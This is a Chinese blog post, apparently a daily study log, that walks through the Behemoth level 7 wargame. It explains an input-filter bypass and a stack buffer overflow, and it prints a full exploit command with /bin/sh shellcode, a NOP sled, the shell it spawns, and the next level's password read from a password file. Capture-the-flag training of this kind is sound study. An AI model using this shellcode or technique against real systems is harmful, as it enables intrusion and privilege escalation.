170908 WarGames-Behemoth(7)

来源:互联网 发布:三大中文数据库优缺点 编辑:程序博客网 时间:2024/05/17 11:07

1625-5 王子昂 总结《2017年9月8日》 【连续第340天总结】
A. WarGames-Behemoth
B.

Level 7

int __cdecl main(int argc, const char **argv, const char **envp){  size_t v3; // eax@2  int v5; // [sp+14h] [bp-20Ch]@13  signed int v6; // [sp+214h] [bp-Ch]@4  int i; // [sp+218h] [bp-8h]@1  const char *v8; // [sp+21Ch] [bp-4h]@1  v8 = argv[1];  for ( i = 0; envp[i]; ++i )                   // 清空环境变量  {    v3 = strlen(envp[i]);    memset((void *)envp[i], 0, v3);  }  v6 = 0;  if ( argc > 1 )  {    while ( *v8 && v6 <= 511 )    {      ++v6;      if ( !((*__ctype_b_loc())[*v8] & 0x400) && !((*__ctype_b_loc())[*v8] & 0x800) )      {        fprintf(_bss_start, "Non-%s chars found in string, possible shellcode!\n", "alpha");        exit(1);      }      ++v8;    }    strcpy((char *)&v5, argv[1]);  }  return 0;}

这次的关键点在__ctype_b_loc()上,从程序来看是个数组
百度没找到什么有用的结果,不过从回复提示来看应该是检测“Non-alpha”字符的;试着输入字母和数字没反应,下划线等符号则会被检测出来
payload大部分都是非可见字符,因此肯定不在alpha字符中

不过有一个漏洞,就是*v8 && v6 <=511
这就意味着该检测只处理前512个字符,因此只需要用合法字符填充,将payload放在之后即可
尝试构造512*’a’+’-‘可以通过,验证猜想无误

另外注意堆栈结构,IDA显示v5的位置为ebp-0x20c,即理论上来说堆栈应该为
524(v5及之后的局部变量)+4(ebp保存)+4(函数返回地址)
构造Shellcode在gdb中实验后发现:

(gdb) r python -c 'print "a"*524+"a"*4+"bbbb"+"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'

Program received signal SIGSEGV, Segmentation fault.
0x2f2f6850 in ?? ()

说明中间有8个字节的偏移,应该就是见过很多次的编译器优化-寄存器指针对齐
在构造Shellcode的时候需要多加8个字符的偏移
然后就是找到地址,在gdb break main后查看堆栈,发现argv在0xffffd50a处附近
gdb getshell成功以后退出来在shell中运行发现地址不完全相同,加了100的Sled也不好使,一气之下直接搞了1000个字节,居然成了 简直暴力

behemoth7@behemoth:~$ /behemoth/behemoth7 python -c 'print "a"*524+"a"*8+"a"*4+"\xd8\xd5\xff\xff"+"\x90"*1000+"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
$ whoami
behemoth8
$ cat /etc/behemoth_pass/behemoth8
pheewij7Ae

Level 8

Congratz!!
Now fight for your right to eip=0x41414141!!

本关结束了,最后这个不明白是什么意思,也没查到相关的信息(:з」∠)

C. 明日计划
WarGames

原创粉丝点击